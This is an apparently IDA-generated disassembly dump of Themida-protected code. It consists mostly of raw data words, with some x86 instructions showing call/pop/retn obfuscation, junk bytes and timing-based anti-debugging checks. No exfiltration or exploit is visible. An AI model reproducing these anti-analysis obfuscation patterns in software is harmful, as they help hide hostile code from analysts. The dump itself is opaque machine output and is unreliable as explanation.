0FF060B02h, 0EA815B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0BEA18EFEh, 668580D0h, 43B1C381h, 4E8h dd 1F03FF00h, 8A0F00h, 50000000h, 8BDE8B66h, 66042444h dd 8BC3EBBFh, 0DE8B6600h, 4244489h, 89585F57h, 0B31619Dh dd 0DAB70F06h, 0A81D858Dh, 8B66060Eh, 6840FDFh, 29000000h dd 0B177195h, 17BF9006h, 501AFD29h, 6870F90h, 8B000000h dd 0B2D899Dh, 0D195FF06h, 6A060B03h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5DE2C353h dd 6EB1C880h, 9D896127h, 60B2919h, 100985C7h, 3060Bh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0DC514DC3h, 26B1F030h, 0CDBD8BDBh, 0BF060B01h, 3A4B42B2h dd 0A81DBD83h, 0F00060Eh, 3784h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0DD2CA821h dd 2DE9CBh, 0BD310000h, 60B2049h, 7E9h, 98E20700h, 1027F571h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 89E9C355h, 832C86AEh, 3169BD89h, 6A060Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0CA9BE4C3h, 731876FDh, 83E8E54Eh, 0B1009BDh, 850F0306h dd 3ACh, 0BD83F98Ah, 60EA81Dh, 9D840F00h, 8B000003h, 0B208DBDh dd 8D0F06h, 0FF000000h, 0EA81DB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 95FF3DC6h dd 60B083Dh, 0DECF8166h, 49BD2BF7h, 8B060B24h, 0EA811B5h dd 119D2306h, 3060B1Ah, 0B33B5BDh, 106C706h, 6A000100h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 6473C351h, 892BCB75h, 0B0AB185h, 0B3515006h dd 34895F02h, 13E824h, 33F70000h, 6DBFEBA6h, 0EE8D8641h dd 0CE803399h, 0B7EB3EABh, 51BD89E1h, 5B060B2Eh, 0A81DB5FFh dd 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0CC3C0BC3h, 0BD8BF1F7h, 60B055Dh, 95FF98B7h dd 60B0641h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0B2C35242h, 0B7E72C2Ah, 11B58BBDh, 6A060EA8h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 9093C353h, 3ABAB064h, 0BF0FA58Eh, 798D89D9h, 8B060B29h dd 0B121D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0E8FBA440h, 14h, 0B8AFA1C1h, 4237DD80h dd 0F6781626h, 25E66C73h, 417ADE66h, 895FFC8Ah, 0B27598Dh dd 0C4868906h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 3168C351h, 0BF74BEDDh dd 153A0B7Ch, 0A850Fh, 880F0000h, 4, 0A248BF66h, 8BFEBF0Fh dd 0B174D95h, 0C283FC06h, 0AC78104h, 894728FDh, 0DF812050h dd 4B3EE618h, 21F19D8Bh, 858D060Bh, 60EBAEEh, 12D59531h dd 8689060Bh, 0B8h, 5F59D2Bh, 6A060Bh, 2DF19D33h, 0FFFC060Bh dd 0EA81DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 7ABAF0F3h, 0FF5A5CE5h, 0B0F1595h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0A9D0DD9Bh, 467D8C7Bh, 2DFDBD8Bh, 6096060Bh dd 841705BBh, 0FDBA6672h, 605061E7h, 13E8h, 0E5424400h dd 7DA2DBD4h, 9A04BF8Ch, 6C7455D3h, 0E27F3F1h, 605F5950h dd 5E9h, 60289700h, 61614531h, 0DD9D8996h, 0FF060B21h dd 0EA81DB5h dd 0F595FF06h, 89060B00h, 0B1BB18Dh, 91BD8306h, 60B21h dd 15840Fh, 51BF0000h, 965FE0A9h, 50F88B66h, 5ADEBF66h dd 0F1950996h, 0FF060B15h, 0EA81DB5h, 60526006h, 0B70F5B61h dd 95FF61C9h, 60B1281h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0FFC35343h, 13A9BD8Bh, 0B5FF060Bh, 60EA81Dh dd 68D0Fh, 0B5890000h, 60B035Dh, 0B8D95FFh, 6A060Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0EA5320C3h, 0FA9B049h, 5B52D8B7h, 17F1BD83h, 0F02060Bh dd 1384h, 0FB8B6600h, 2EC5858Bh, 8589060Bh, 60B1651h, 0F50000C6h dd 6B985C7h, 60Bh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0E8836DC3h, 0Dh, 0C84C7151h dd 8BD08FDDh, 635F0B1Fh, 0CE99Dh, 6D4D0000h, 0E4EA94D7h dd 0BFCFE7Ch, 535B43BAh, 5BF9B70Fh, 0FFF476E9h, 55006AFFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 74DA96EAh, 6AC18BBBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 9AE2C351h, 0B523DE81h dd 0D4622899h, 38C0Fh, 8B660000h, 0A9858DDAh, 6A060B28h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 6FB5C357h, 9D0989F4h, 60B2D7Dh, 6800Fh, 9D8B0000h dd 60B1349h, 9E990h, 0F8DE0000h, 6D46C620h, 503C4022h dd 5E9h, 0BDBBD100h, 6A902004h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 9DEEC356h, 0B6C03AECh dd 1FD93B6Ch, 2B71BD29h, 6A060Bh, 0F88B6653h, 89006A5Fh dd 0B042995h, 0CD9D8906h, 8D060B02h, 0F806285h, 0D1B58906h dd 89060B32h, 0B2F5D8Dh, 5C08306h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0D0C35242h, 45B376C6h, 8B525090h dd 53310FD8h, 7444BF66h, 50585A5Bh, 12E852h, 0E7E90000h dd 6016DEAAh, 2598F61Fh, 0D3C151F8h, 6EBE774Ah, 0BE8h dd 9A45E00h, 44285BC1h, 23522044h, 905B5F5Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 38C35141h, 0D58D0110h dd 6A060B0Eh, 14E900h, 0DCC90000h, 0A0343A48h, 8A9118F4h dd 5340DF94h, 22E85F0Ah, 6A866Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0A7C35141h, 3C607D6Eh, 0D38E80F3h dd 2F2195FFh, 11E9060Bh, 6F000000h, 0D00935F5h, 8C6D2025h dd 5D09780Fh, 87C59BF5h, 0A7B08D8Dh, 6A060Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D8BCDC3h dd 60B1F5Dh, 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 2E90FDC3h, 0C1FFC738h, 10E9h, 0A6ECA900h dd 0DB6A3ADEh, 64323F68h, 3D55524Ah, 19BD83FCh, 1060B0Bh dd 4C850Fh, 0F520000h, 686h, 8F0F00h, 5B000000h, 50FC026Ah dd 489DF8Bh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 95FFEE55h, 60B0F15h, 0DE9h, 920CAC00h dd 0FA59CEDEh, 0CF7711F1h, 12E99983h, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 60F806Ch push 0 push esi call sub_584122 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584122 proc near ; CODE XREF: Themida_:0058411Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_584122 endp ; --------------------------------------------------------------------------- inc esi push 552200E0h push 0 push edx call sub_584143 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584143 proc near ; CODE XREF: Themida_:0058413Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_584143 endp ; --------------------------------------------------------------------------- and [eax+1Fh], dh xchg al, [ebx-52h] sbb [ebp+0E929385h], cl push es push 0 push esi call sub_58416B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58416B proc near ; CODE XREF: Themida_:00584163p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_58416B endp ; --------------------------------------------------------------------------- db 6Dh ; --------------------------------------------------------------------------- xchg eax, esp test al, 29h adc ch, [edx] mov word ptr [edx-23h], es mov ebx, 7E13064Ah push eax push edi jmp loc_58419F ; --------------------------------------------------------------------------- dd 0BED1DDE2h, 7A65A380h, 0A37A3086h ; --------------------------------------------------------------------------- cmpsd das icebp loc_58419F: ; CODE XREF: Themida_:0058418Bj pop edi mov [esp], eax push 0 push edi call sub_5841AE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5841AE proc near ; CODE XREF: Themida_:005841A6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5841AE endp ; --------------------------------------------------------------------------- dw 2241h dd 1F9F280Ch, 0FF64633Fh, 35h, 88A0F00h, 56000000h, 29618D89h dd 645F060Bh, 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 5C9FEFC3h, 6D85FF14h dd 0E9060B06h, 12h, 758173A1h, 0F2349CE6h, 0AA8CF211h dd 0FD2CC835h, 0FF6AF9F8h, 12E9h, 9E29BC00h, 8D18C0BCh dd 0B61883C0h, 0CF15AFB4h, 8B464BB1h, 5B5FFDAh, 89060B27h dd 0B18D19Dh, 1195FF06h, 0E9060B24h, 0F9h, 19F5BD8Bh, 0B0060Bh dd 10E9h, 0BE45700h, 7E036562h, 0A567216Bh, 2FC6EBDFh dd 0F70E6A6h, 68Dh, 0BB665700h, 0E45B59F9h, 0FEBF6671h dd 0F613CDEh, 0C083h, 0B60FF900h, 0FEB70FC8h, 0F275F781h dd 6BA594Eh, 8B000000h, 0ADEF80C1h, 6604E8C1h, 0E0D6EF81h dd 2BE2F766h, 8BDE8BC8h, 29FBBFD1h, 4E94340h, 66000000h dd 8B0858BBh, 0B2A1D85h, 7C08306h, 39858960h, 29060B18h dd 0B0B8195h, 0BD896106h, 60B1F71h, 3B00C083h, 20830FD0h dd 0F000000h, 5AE9F8B7h, 0E9000000h, 11h, 0CD2F135Ah, 11AC9B96h dd 0F8D8CB24h, 1DDDF60Ah, 8BDA8B88h, 0B00A18Dh, 89BD8B06h dd 8B060B1Fh, 0B2E1DBDh, 1E18306h, 27840Fh, 8F0F0000h dd 3, 83DF8B66h, 0B00A1A5h, 0BD89FE06h, 60B3169h, 2A1D9589h dd 9D8B060Bh, 60B04A9h, 0E9h, 3CB58D00h, 6A060EF7h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 50B99139h, 0A0FB47C2h, 816618B5h, 0FF5A71C7h, 0B32DD95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0A2B96A55h, 0F000007h, 28Eh, 83E9B300h dd 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 862A2CC3h, 5E860h, 4A150000h, 66486519h dd 2F36C381h, 6AFC5Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 614CD8C3h, 6D9D33EBh, 0B8060B0Bh dd 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_584413 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584413 proc near ; CODE XREF: Themida_:0058440Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_584413 endp ; --------------------------------------------------------------------------- retn 1A8Ch ; --------------------------------------------------------------------------- fdiv qword ptr [ebx] jnz short loc_58446A mov [ebx], ebp shr byte ptr [edx+0], cl push ebp call sub_584438 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584438 proc near ; CODE XREF: Themida_:00584430p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_584438 endp ; --------------------------------------------------------------------------- sub dh, [ecx-9] cld jle $+6 and edi, [ebp+60B30E5h] loc_584458: ; CODE XREF: Themida_:00584462j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_584458 jz loc_584470 loc_58446A: ; CODE XREF: Themida_:00584428j mov ebx, [ebp+60B3355h] loc_584470: ; CODE XREF: Themida_:00584464j jb loc_584482 jg loc_584482 jl $+6 ; CODE XREF: Themida_:0058448Fj loc_584482: ; CODE XREF: Themida_:loc_584470j ; Themida_:00584476j or eax, 88h pusha call sub_58449B push es daa jmp short near ptr loc_58447C+3 ; --------------------------------------------------------------------------- db 2Fh, 3Eh, 7 dd 84BBB29Eh db 40h, 4Eh, 0B4h ; =============== S U B R O U T I N E ======================================= sub_58449B proc near ; CODE XREF: Themida_:00584488p xor [ebp+60B1239h], eax pop esi mov ebx, [ebp+60B0C35h] popa mov edi, [ebp+60B18DDh] mov edx, [ebp+60B174Dh] add [ebp+60B2265h], ebx mov [ebp+60B2F51h], ebx mov ecx, [ebp+60B0119h] push 0 push edx call sub_5844D2 and [edx-3Dh], bl sub_58449B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5844D2 proc near ; CODE XREF: sub_58449B+2Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5844D2 endp ; --------------------------------------------------------------------------- dw 9CFh ; --------------------------------------------------------------------------- retf 0F93h ; --------------------------------------------------------------------------- db 8Ch dd 6, 32EDBD33h, 8D89060Bh, 60B01B9h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 9D8B5818h, 60B333Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5CC35747h, 84B2F11Dh dd 0BD838F19h, 60B29BDh, 5A840F00h, 8B000000h, 0B1B01BDh dd 0B806h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0BD8BC2C3h, 60B2E91h, 4DD78D8Dh dd 0BB66060Bh, 0E1FF8296h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 66C35646h, 992FBDBFh, 9BD8379h, 60B10h dd 489840Fh, 0BF0F0000h, 9BD83DFh, 1060B10h, 494840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0B3012BC3h, 11E95Eh, 3AD90000h, 1B84A42Bh dd 7A5A9D64h, 0B0F6E785h, 0BBAE92BCh, 47D0DC20h, 1009BD83h dd 0F03060Bh, 41786h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 581C2B32h, 8F71D240h dd 0E1BD89C4h, 60060B2Eh, 4840Fh, 0BB660000h, 8C663381h dd 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0A9F6FE36h, 0AE81F11h, 0C000000h, 7F3D16A5h dd 0E93F6596h, 805BFCF1h, 8C0F04E1h, 0 ; --------------------------------------------------------------------------- or cl, cl jz loc_5847D3 push 0 push edx call sub_584683 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584683 proc near ; CODE XREF: Themida_:0058467Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_584683 endp ; --------------------------------------------------------------------------- xchg eax, esp sahf stc mov eax, [ebp+60B317Dh] push 0 push ecx call sub_5846A7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5846A7 proc near ; CODE XREF: Themida_:0058469Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5846A7 endp ; --------------------------------------------------------------------------- db 0AFh dd 88BE09ABh, 6E99174h, 3F000000h, 0CB050145h, 0ED85339Bh dd 6A060B06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0F20DC356h, 0EC3974D0h, 0BD8BF616h dd 60B2A59h, 0D98D2960h, 0E8060B04h, 0Bh, 93286029h, 5C26A84Bh dd 0BBD7C1EDh, 14C420C4h, 6650615Eh, 505FDF8Bh, 28D0F51h dd 51000000h, 4895B5Fh, 859D0924h, 6A060B13h, 0C99D2900h dd 68060B29h, 615945E0h, 52506051h, 585A310Fh, 0EE7BBE66h dd 34815F61h, 46461F24h, 6870F61h, 8B000000h, 0B1AD59Dh dd 0D195FF06h, 6A060B03h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 388AC357h, 0F947AE3h dd 0A81D8589h, 0EE8060Eh, 60000000h, 1E565F98h, 8A12C9BDh dd 75FF9BD7h, 9BD3374h, 5B060B04h, 0EE8h, 35C1DB00h, 0E8D59C3Dh dd 0F464878h, 814C4012h, 0DFB5EDFh, 0C7E95F58h, 0E9000001h dd 0Bh, 0E0171F47h, 0DAD586D9h db 2 dup(0F1h), 0DEh ; --------------------------------------------------------------------------- loc_5847D3: ; CODE XREF: Themida_:00584672j mov eax, [ebp+60EA815h] or [ebp+60B2E91h], eax movsx ebx, dx mov dword ptr [eax], 18h push 0 push eax call sub_5847F3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5847F3 proc near ; CODE XREF: Themida_:005847EBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5847F3 endp ; --------------------------------------------------------------------------- db 0F8h dd 0A8E169E1h, 297497ECh, 0B0F3D9Dh, 0B58BF906h, 60EA819h dd 0DA8B6660h, 1870Fh, 61FC0000h, 6E1858Bh, 6A060Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0E92C54C3h, 497C45D0h, 9D8BF842h, 60B06B5h, 0BF0F0689h dd 7D858BFBh, 81060B31h, 87800AD7h, 446894Ch, 68D0Fh, 0BD8B0000h dd 60B05B1h, 32CD8589h, 8A96060Bh, 0F3BB50DEh, 9603226Fh dd 0B5FFF98Bh, 60EA815h, 0FE9h, 0BABDA900h, 1F202785h dd 0C295F1B6h, 4AFBE19Ah, 4E8FCh, 3FF0000h, 11E8001Fh dd 74000000h, 0C42A9AC5h, 0A2B65E68h, 0D80880Ah, 0F3771587h dd 61605250h, 9E9310Fh, 7F000000h, 0DA42A367h, 4CBA2A78h dd 505F585Ah, 0BBF5250h, 0F1BA377h, 8B585A31h, 0BF042444h dd 73A7C68Eh, 0C9BF008Bh, 892DD4D5h, 58042444h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B9C35141h, 858DA033h dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0F7C35242h, 1C3C3B21h, 0C95FB17Bh, 0DDD9D8Bh, 6090060Bh dd 66616060h, 0B161D88Bh, 5050618Bh, 0BF310F52h, 8B44585h dd 6A90585Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0E04BC356h, 95FF31CDh, 60B03D1h dd 322D9589h, 2961060Bh, 0B0E3DBDh, 985C706h, 3060B10h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0A787C351h, 14354EC3h, 157B8026h dd 11E8h, 84321F00h, 0DE707999h, 4ECDD7DCh, 98C45ADFh dd 9D8BCE73h, 60B31B1h, 1DBD835Fh, 60EA8h, 2A840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0F78064C3h, 21E903h, 0D7810000h, 740900E3h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 81BDC356h, 23F73E9Fh, 5E95Ch, 0A69B0000h, 3DE0E43h dd 0B03B9BDh, 0CBF6606h, 9BD83C6h, 3060B10h, 456850Fh dd 820F0000h, 6, 0BA19D31h, 0BD83060Bh, 60EA81Dh, 3D840F00h dd 0FF000004h, 0EA81DB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 1188453h, 12F6BF62h dd 7E82407h, 50000000h, 0F2A5B0F5h, 295B3B38h, 0B03258Dh dd 3D95FF06h, 52060B08h, 6E8h, 0B5F87900h, 0E90897E0h dd 14h, 0C6F109F4h, 3984D245h, 94E918DCh, 44DC25B4h, 35F156F8h dd 0B58B5B5Bh, 60EA811h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 34C35747h, 0A2986D74h, 0C3D1A80Ch, 8C0Fh dd 6C70000h, 10001h, 12F98509h, 0E996060Bh, 8, 88F76D6Dh dd 0E7A81267h, 11E950h, 1A30000h, 0F42AAAFBh, 0E0C0341Ah dd 47351328h, 9632B124h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 2CC35545h, 179745CDh, 12E9E028h, 51000000h dd 84AFBDBCh, 0FEB712C4h, 0D618A385h, 0D11746A0h, 1DB5FF30h dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0C101C355h, 0EB80DE3h, 7BDD9CC5h dd 2AAD9D8Bh, 0E953060Bh, 7, 0D0ADED90h, 5F120319h, 64195FFh dd 0BD03060Bh, 60B20DDh, 0BE9h, 373D1E00h, 36307222h, 1D3064Dh dd 0A811B58Bh, 858B060Eh, 60B121Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 75C35747h, 1800B63Ch, 0D129D9CDh dd 28A0F52h, 8B000000h, 1BE781FAh, 8B096D05h, 0C48689F9h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 1894C355h, 0D6D36D31h, 174D958Bh dd 9D89060Bh, 60B014Dh, 6A04C283h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 38A7C353h dd 3B931896h, 89D37B16h, 6A2050h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 538E00C3h, 8DF98B66h dd 0EBAEE85h, 0DFB70F06h, 14E8h, 716AF00h, 37C39EE6h, 0CF444D8h dd 413722DAh, 0D15AFA28h, 8D9D03FDh, 5B060B08h, 0B88689h dd 8D090000h, 60B2219h, 0BF66006Ah, 7E86EC8h, 8C000000h dd 0DD17F20Ah, 0BF0FA7F4h, 0B5FF5FDBh, 60EA81Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 33C35040h, 0B02BB609h dd 6800Fh, 0BD890000h, 60B01E1h, 0F1595FFh, 8529060Bh dd 60B29EDh, 1860Fh, 96F90000h, 796B63BFh, 52505077h, 928BC9BFh dd 0E9310F12h, 13h, 0F586F9A4h, 1399396h, 269065B1h, 0B9A0C34h dd 5A35E808h, 95319658h, 60B0405h, 2EE78166h, 1DB5FFF2h dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0C8D9C355h, 702BF620h, 259D8BB0h dd 0FF060B04h, 0B00F595h, 6800F06h, 8B000000h, 0B24259Dh dd 0F1BD8B06h, 83060B05h, 0B2191BDh, 840F0006h, 65h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C7C35141h, 66C5E8B8h dd 5050D98Bh, 0DE952h, 0E46D0000h, 93F72E69h, 6597B388h dd 0F439E66h, 89585A31h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0C3BE12C3h, 8B9C7597h dd 0B0D159Dh, 1DB5FF06h, 56060EA8h, 5618531h, 0FF5F060Bh dd 0B128195h, 0CF816606h, 8B66E807h, 1DB5FFDFh, 0FF060EA8h dd 0B0B8D95h, 1860F06h, 0F9000000h, 3331BD89h, 0BD83060Bh dd 60B17F1h, 4D840F02h, 0E9000000h, 6, 0FF21241h, 858B320Eh dd 60B2EC5h, 0B840Fh, 6E90000h, 0BD000000h, 3A53F022h dd 0C68Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 15C35040h, 866F578Ch, 0BD8BDB13h, 60B0E49h, 6B985C7h dd 60Bh, 0BD8B0000h, 60B0D39h, 0FFF319E9h, 5E9FFh, 6BD30000h dd 8B10DFE4h, 68E0FC1h, 8B000000h, 0B0EF9BDh, 0A9858D06h dd 0F060B28h, 8B50FEB7h, 240489FEh, 8959D31h, 6A060Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h ; --------------------------------------------------------------------------- inc ecx push ecx ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 93h dd 830F6233h, 2, 6ADE8Bh, 4F79BF66h, 9045858Dh, 6A060Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 313E51C3h, 663329DBh, 0F0F8BBBh, 0C083DAB7h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 46E7CF4h, 0FC7B2A9Bh, 24048950h, 13E9h, 894D8B00h, 736DD12Ah dd 2445480Dh, 9E241E3Fh, 35C364B1h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 96B2FBC3h dd 4FD11C72h, 0FC2B28Fh, 686h, 89BD2B00h, 8B060B0Bh, 6A006AF9h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 12DCC357h, 95FF605Fh, 60B2F21h, 0B08D8DF8h dd 6A060EA7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0EA45C357h, 0C4EA742Bh, 68B0FA8h dd 8B000000h, 0B0EE99Dh, 0FD1FF06h, 683h, 0F5BD8B00h, 83060B03h dd 0B0B19BDh, 850F0106h, 6Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0C5C35646h, 5101D935h, 0EF4B28C8h dd 8B66F51Bh, 0F026ADAh, 118Fh, 0CE900h, 0A2F70000h, 59E36D41h dd 2E0ED305h, 0E99069CEh, 12h, 0FCCB6827h, 0F848FAC6h dd 0A2D0B01Ah, 69CC6ED4h, 6650D8E6h, 8A90DE8Bh, 1595FFDEh dd 89060B0Fh, 0B04A595h, 0EA4E906h, 0E80000h, 5D000000h dd 904FED81h, 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0B52961C3h, 60B0E9Dh, 30F19D8Bh dd 0B70F060Bh, 93858DDBh, 6A060E92h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 29A7C351h dd 0B0E65B5h, 8E0F5006h, 17h, 0FE850h, 0E00A0000h, 0A0B04A92h dd 4DC1C350h, 0BDE674D7h, 895F5B41h, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2ECB22C3h dd 8E4FEA81h, 1A359D8Bh, 0FF64060Bh, 35h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8B4016FEh, 0B005DBDh, 649CB306h, 2589h, 0BF660000h dd 85FF2432h, 60B066Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0EFC35343h, 0B27A6978h, 23E2E81Fh, 1805BD8Bh dd 0FF6A060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0F0C35343h, 23268951h, 295015FDh, 0B30F1B5h, 0B5FF5F06h dd 60B1AA9h, 16F38166h, 0F1BD8BD4h, 0FF060B0Eh, 0B241195h dd 120E906h, 0E3800000h, 0E600B007h, 48D38170h, 0E45EFECFh dd 0F0BF6671h, 0F613C10h, 10583h, 0F9BD2300h, 8B060B13h dd 0B12C59Dh, 0C8B60F06h, 128DBD31h, 6BA060Bh, 0F000000h dd 68Fh, 